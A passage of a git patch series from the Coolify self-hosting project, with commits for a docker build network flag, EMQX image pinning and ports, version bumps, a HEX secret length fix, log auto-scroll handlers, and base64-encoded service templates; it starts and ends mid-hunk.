} else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); From 9208ed102206a67b06ea3dfa978b996106c6500d Mon Sep 17 00:00:00 2001 From: Mohmmad Qunibi <82610649+MohmmadQunibi@users.noreply.github.com> Date: Mon, 27 Apr 2026 09:25:16 +0300 Subject: [PATCH 089/329] Update EMQX image version to 6.2.0 --- templates/compose/emqx-enterprise.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/emqx-enterprise.yaml b/templates/compose/emqx-enterprise.yaml index e68c894bf..0f62c1983 100644 --- a/templates/compose/emqx-enterprise.yaml +++ b/templates/compose/emqx-enterprise.yaml @@ -7,7 +7,7 @@ services: emqx: - image: emqx/emqx-enterprise:latest + image: emqx/emqx-enterprise:6.2.0 environment: - SERVICE_URL_EMQX_18083 - EMQX_DASHBOARD__DEFAULT_PASSWORD=${SERVICE_PASSWORD_EMQX} From 71771c7d3a2265254e92568955596d0c59016e0d Mon Sep 17 00:00:00 2001 From: Mohmmad Qunibi <82610649+MohmmadQunibi@users.noreply.github.com> Date: Mon, 27 Apr 2026 09:25:48 +0300 Subject: [PATCH 090/329] Add ports configuration for EMQX Enterprise --- templates/compose/emqx-enterprise.yaml | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/templates/compose/emqx-enterprise.yaml b/templates/compose/emqx-enterprise.yaml index 0f62c1983..01d063b6f 100644 --- a/templates/compose/emqx-enterprise.yaml +++ b/templates/compose/emqx-enterprise.yaml @@ -11,6 +11,11 @@ services: environment: - SERVICE_URL_EMQX_18083 - EMQX_DASHBOARD__DEFAULT_PASSWORD=${SERVICE_PASSWORD_EMQX} + ports: + - "1883:1883" + - "8083:8083" + - "8084:8084" + - "8883:8883" volumes: - emqx_data:/opt/emqx/data - emqx_log:/opt/emqx/log From 968ae97dfcc46c772a61c55bb23d990da6bab0ec Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 27 Apr 2026 09:01:36 +0200 Subject: [PATCH 091/329] version++ --- config/constants.php | 2 +- other/nightly/versions.json | 2 +- versions.json | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/config/constants.php b/config/constants.php index 743b5e38c..739d22a5b 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.474', + 'version' => '4.0.0-beta.475', 'helper_version' => '1.0.13', 'realtime_version' => '1.0.13', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 27d911c67..e5f43093b 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.474" + "version": "4.0.0-beta.475" }, "nightly": { "version": "4.0.0" diff --git a/versions.json b/versions.json index 27d911c67..e5f43093b 100644 --- a/versions.json +++ b/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.474" + "version": "4.0.0-beta.475" }, "nightly": { "version": "4.0.0" From d0ed4fa4c4978b362737d772edcff292ae9178fd Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 27 Apr 2026 09:08:58 +0200 Subject: [PATCH 092/329] version ++ finally --- config/constants.php | 2 +- other/nightly/versions.json | 2 +- versions.json | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/config/constants.php b/config/constants.php index 739d22a5b..7504b6ba8 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.475', + 'version' => '4.0.0', 'helper_version' => '1.0.13', 'realtime_version' => '1.0.13', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/other/nightly/versions.json b/other/nightly/versions.json index e5f43093b..3307b7f2e 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.475" + "version": "4.0.0" }, "nightly": { "version": "4.0.0" diff --git a/versions.json b/versions.json index e5f43093b..3307b7f2e 100644 --- a/versions.json +++ b/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.475" + "version": "4.0.0" }, "nightly": { "version": "4.0.0" From e658d2f9a303aed81ba0a0b684e4910b66eba7d9 Mon Sep 17 00:00:00 2001 From: Romain ROCHAS Date: Mon, 27 Apr 2026 16:24:03 +0700 Subject: [PATCH 093/329] fix(magic env) HEX secrets creating double the length of their name --- bootstrap/helpers/shared.php | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 9f0f2cd73..d55a00a4c 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -1463,13 +1463,13 @@ function generateEnvValue(string $command, Service|Application|null $service = n $generatedValue = base64_encode(Str::random(32)); break; case 'HEX_32': - $generatedValue = bin2hex(Str::random(32)); + $generatedValue = bin2hex(Str::random(16)); break; case 'HEX_64': - $generatedValue = bin2hex(Str::random(64)); + $generatedValue = bin2hex(Str::random(32)); break; case 'HEX_128': - $generatedValue = bin2hex(Str::random(128)); + $generatedValue = bin2hex(Str::random(64)); break; case 'USER': $generatedValue = Str::random(16); From 9a58e0fea25879d14d1b7f1afb7835dd7a15269f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 10:33:08 +0200 Subject: [PATCH 094/329] fix(logs): disable auto-scroll on user scroll-up, re-enable on scroll-to-bottom Add wheel, touch, and keyboard event handlers to log containers in deployment and get-logs views. Auto-follow disables when user scrolls up; re-enables when user scrolls back to bottom (within 10px threshold). --- .../application/deployment/show.blade.php | 51 +++++++++++- .../project/shared/get-logs.blade.php | 46 ++++++++-- templates/service-templates-latest.json | 83 ++++++++++++++----- templates/service-templates.json | 83 ++++++++++++++----- 4 files changed, 208 insertions(+), 55 deletions(-) diff --git a/resources/views/livewire/project/application/deployment/show.blade.php b/resources/views/livewire/project/application/deployment/show.blade.php index d6294f3c8..8618872f5 100644 --- a/resources/views/livewire/project/application/deployment/show.blade.php +++ b/resources/views/livewire/project/application/deployment/show.blade.php @@ -9,6 +9,9 @@ fullscreen: @entangle('fullscreen'), alwaysScroll: {{ $isKeepAliveOn ? 'true' : 'false' }}, rafId: null, + scrollDebounce: null, + isScrolling: false, + lastTouchY: 0, showTimestamps: true, searchQuery: '', matchCount: 0, @@ -19,9 +22,54 @@ scrollToBottom() { const logsContainer = document.getElementById('logsContainer'); if (logsContainer) { + this.isScrolling = true; logsContainer.scrollTop = logsContainer.scrollHeight; + setTimeout(() => { this.isScrolling = false; }, 50); } }, + disableFollow() { + if (!this.alwaysScroll) return; + this.alwaysScroll = false; + if (this.rafId) { + cancelAnimationFrame(this.rafId); + this.rafId = null; + } + }, + handleWheel(event) { + if (this.alwaysScroll && event.deltaY < 0) { + this.disableFollow(); + } + }, + handleTouchStart(event) { + this.lastTouchY = event.touches[0].clientY; + }, + handleTouchMove(event) { + if (!this.alwaysScroll) return; + const currentY = event.touches[0].clientY; + if (currentY > this.lastTouchY) { + this.disableFollow(); + } + this.lastTouchY = currentY; + }, + handleKeyScroll(event) { + if (!this.alwaysScroll) return; + const upKeys = ['ArrowUp', 'PageUp', 'Home']; + if (upKeys.includes(event.key)) { + this.disableFollow(); + } + }, + handleScroll(event) { + if (this.isScrolling) return; + clearTimeout(this.scrollDebounce); + this.scrollDebounce = setTimeout(() => { + const el = event.target; + const distanceFromBottom = el.scrollHeight - el.scrollTop - el.clientHeight; + if (!this.alwaysScroll && distanceFromBottom <= 10) { + this.alwaysScroll = true; + this.scheduleScroll(); + } + }, 150); + }, scheduleScroll() { if (!this.alwaysScroll) return; this.rafId = requestAnimationFrame(() => { @@ -327,7 +375,8 @@ class="p-1 text-gray-500 hover:text-gray-700 dark:text-gray-400 dark:hover:text-
-
this.lastTouchY) { + this.disableFollow(); + } + this.lastTouchY = currentY; + }, + handleKeyScroll(event) { + if (!this.alwaysScroll) return; + const upKeys = ['ArrowUp', 'PageUp', 'Home']; + if (upKeys.includes(event.key)) { + this.disableFollow(); + } + }, scrollToBottom() { const logsContainer = document.getElementById('logsContainer'); if (logsContainer) { @@ -57,17 +89,14 @@ } }, handleScroll(event) { - if (!this.alwaysScroll || this.isScrolling) return; + if (this.isScrolling) return; clearTimeout(this.scrollDebounce); this.scrollDebounce = setTimeout(() => { const el = event.target; const distanceFromBottom = el.scrollHeight - el.scrollTop - el.clientHeight; - if (distanceFromBottom > 100) { - this.alwaysScroll = false; - if (this.rafId) { - cancelAnimationFrame(this.rafId); - this.rafId = null; - } + if (!this.alwaysScroll && distanceFromBottom <= 10) { + this.alwaysScroll = true; + this.scheduleScroll(); } }, 150); }, @@ -473,7 +502,8 @@ class="p-1 text-gray-500 hover:text-gray-700 dark:text-gray-400 dark:hover:text-
-
@if ($outputs) diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index fdc99ae78..eb667fcb8 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -254,7 +254,7 @@ "beszel-agent": { "documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io", "slogan": "Monitoring agent for Beszel", - "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjcnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "beszel", "monitoring", @@ -269,7 +269,7 @@ "beszel": { "documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io", "slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.", - "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC40JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", + "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjcnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC43JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", "tags": [ "beszel", "monitoring", @@ -394,23 +394,6 @@ "minversion": "0.0.0", "port": "8000" }, - "calcom": { - "documentation": "https://cal.com/docs/developing/introduction?utm_source=coolify.io", - "slogan": "Scheduling infrastructure for everyone.", - "compose": "c2VydmljZXM6CiAgY2FsY29tOgogICAgaW1hZ2U6IGNhbGNvbS5kb2NrZXIuc2NhcmYuc2gvY2FsY29tL2NhbC5jb20KICAgIHBsYXRmb3JtOiBsaW51eC9hbWQ2NAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfQ0FMQ09NXzMwMDAKICAgICAgLSBORVhUX1BVQkxJQ19MSUNFTlNFX0NPTlNFTlQ9YWdyZWUKICAgICAgLSBOT0RFX0VOVj1wcm9kdWN0aW9uCiAgICAgIC0gJ05FWFRfUFVCTElDX1dFQkFQUF9VUkw9JHtTRVJWSUNFX1VSTF9DQUxDT019JwogICAgICAtICdORVhUX1BVQkxJQ19BUElfVjJfVVJMPSR7U0VSVklDRV9VUkxfQ0FMQ09NfS9hcGkvdjInCiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0NBTENPTX0vYXBpL2F1dGgnCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X0NBTENPTVNFQ1JFVH0nCiAgICAgIC0gJ0NBTEVORFNPX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfQ0FMQ09NS0VZfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNhbGVuZHNvfScKICAgICAgLSBEQVRBQkFTRV9IT1NUPXBvc3RncmVzcWwKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke0RBVEFCQVNFX0hPU1Q6LXBvc3RncmVzcWx9LyR7UE9TVEdSRVNfREI6LWNhbGVuZHNvfScKICAgICAgLSAnREFUQUJBU0VfRElSRUNUX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AJHtEQVRBQkFTRV9IT1NUOi1wb3N0Z3Jlc3FsfS8ke1BPU1RHUkVTX0RCOi1jYWxlbmRzb30nCiAgICAgIC0gQ0FMQ09NX1RFTEVNRVRSWV9ESVNBQkxFRD0xCiAgICAgIC0gJ0VNQUlMX0ZST009JHtFTUFJTF9GUk9NfScKICAgICAgLSAnRU1BSUxfRlJPTV9OQU1FPSR7RU1BSUxfRlJPTV9OQU1FfScKICAgICAgLSAnRU1BSUxfU0VSVkVSX0hPU1Q9JHtFTUFJTF9TRVJWRVJfSE9TVH0nCiAgICAgIC0gJ0VNQUlMX1NFUlZFUl9QT1JUPSR7RU1BSUxfU0VSVkVSX1BPUlR9JwogICAgICAtICdFTUFJTF9TRVJWRVJfVVNFUj0ke0VNQUlMX1NFUlZFUl9VU0VSfScKICAgICAgLSAnRU1BSUxfU0VSVkVSX1BBU1NXT1JEPSR7RU1BSUxfU0VSVkVSX1BBU1NXT1JEfScKICAgICAgLSAnTkVYVF9QVUJMSUNfQVBQX05BTUU9IkNhbC5jb20iJwogICAgICAtICdBTExPV0VEX0hPU1ROQU1FUz1bIiR7U0VSVklDRV9VUkxfQ0FMQ09NfSJdJwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwb3N0Z3Jlc3FsCiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jYWxlbmRzb30nCiAgICB2b2x1bWVzOgogICAgICAtICdjYWxjb20tcG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "calcom", - "calendso", - "scheduling", - "open", - "source" - ], - "category": "productivity", - "logo": "svgs/calcom.svg", - "minversion": "0.0.0", - "port": "3000", - "amd_only": true - }, "calibre-web-automated-book-downloader": { "documentation": "https://github.com/calibrain/calibre-web-automated-book-downloader?utm_source=coolify.io", "slogan": "An intuitive web interface for searching and requesting book downloads, designed to work seamlessly with Calibre-Web-Automated.", @@ -453,6 +436,21 @@ "minversion": "0.0.0", "port": "8083" }, + "cap-captcha": { + "documentation": "https://capjs.js.org/guide/?utm_source=coolify.io", + "slogan": "The self-hosted CAPTCHA for the modern web.", + "compose": "c2VydmljZXM6CiAgY2FwOgogICAgaW1hZ2U6ICd0aWFnbzIvY2FwOjMuMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfQ0FQXzMwMDAKICAgICAgLSBBRE1JTl9LRVk9JFNFUlZJQ0VfUEFTU1dPUkRfQURNSU4KICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gYnVuCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAiZmV0Y2goJ2h0dHA6Ly9sb2NhbGhvc3Q6MzAwMCcpLnRoZW4ociA9PiB7IGlmICghci5vaykgcHJvY2Vzcy5leGl0KDEpIH0pLmNhdGNoKCgpID0+IHByb2Nlc3MuZXhpdCgxKSkiCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAgICBkZXBlbmRzX29uOgogICAgICB2YWxrZXk6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICB2YWxrZXk6CiAgICBpbWFnZTogJ3ZhbGtleS92YWxrZXk6OS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICd2YWxrZXktZGF0YTovZGF0YScKICAgIGNvbW1hbmQ6ICd2YWxrZXktc2VydmVyIC0tc2F2ZSA2MCAxIC0tbG9nbGV2ZWwgd2FybmluZyAtLW1heG1lbW9yeS1wb2xpY3kgbm9ldmljdGlvbicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB2YWxrZXktY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAzcwogICAgICByZXRyaWVzOiA1Cg==", + "tags": [ + "captcha", + "security", + "privacy", + "proof-of-work" + ], + "category": "security", + "logo": "svgs/cap-captcha.png", + "minversion": "0.0.0", + "port": "3000" + }, "cap": { "documentation": "https://cap.so?utm_source=coolify.io", "slogan": "Cap is the open source alternative to Loom. Lightweight, powerful, and cross-platform. Record and share in seconds.", @@ -2191,6 +2189,23 @@ "minversion": "0.0.0", "port": "8080" }, + "jitsi": { + "documentation": "https://jitsi.github.io/handbook/docs/devops-guide/devops-guide-docker/?utm_source=coolify.io", + "slogan": "Self-hosted Jitsi Meet \u2014 open-source video conferencing platform", + "compose": "c2VydmljZXM6CiAgaml0c2ktd2ViOgogICAgaW1hZ2U6ICdqaXRzaS93ZWI6c3RhYmxlLTEwODg4JwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0pJVFNJCiAgICAgIC0gUFVCTElDX1VSTD0kU0VSVklDRV9VUkxfSklUU0kKICAgICAgLSBFTkFCTEVfQVVUSD0wCiAgICAgIC0gRU5BQkxFX0dVRVNUUz0xCiAgICAgIC0gRU5BQkxFX0xFVFNFTkNSWVBUPTAKICAgICAgLSBFTkFCTEVfSFRUUF9SRURJUkVDVD0wCiAgICAgIC0gRElTQUJMRV9IVFRQUz0xCiAgICAgIC0gWE1QUF9ET01BSU49bWVldC5qaXRzaQogICAgICAtIFhNUFBfQVVUSF9ET01BSU49YXV0aC5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9HVUVTVF9ET01BSU49Z3Vlc3QubWVldC5qaXRzaQogICAgICAtIFhNUFBfTVVDX0RPTUFJTj1jb25mZXJlbmNlLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX0lOVEVSTkFMX01VQ19ET01BSU49aW50ZXJuYWwuYXV0aC5tZWV0LmppdHNpCiAgICAgIC0gJ1hNUFBfQk9TSF9VUkxfQkFTRT1odHRwOi8vcHJvc29keTo1MjgwJwogICAgICAtIEpWQl9CUkVXRVJZX01VQz1qdmJicmV3ZXJ5CiAgICAgIC0gJ0pJQ09GT19DT01QT05FTlRfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KSUNPRk99JwogICAgICAtICdKSUNPRk9fQVVUSF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfSklDT0ZPfScKICAgICAgLSAnSlZCX0FVVEhfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pWQn0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHByb3NvZHkKICAgICAgLSBqaWNvZm8KICAgICAgLSBqdmIKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2ppdHNpLXdlYjovY29uZmlnJwogICAgbmV0d29ya3M6C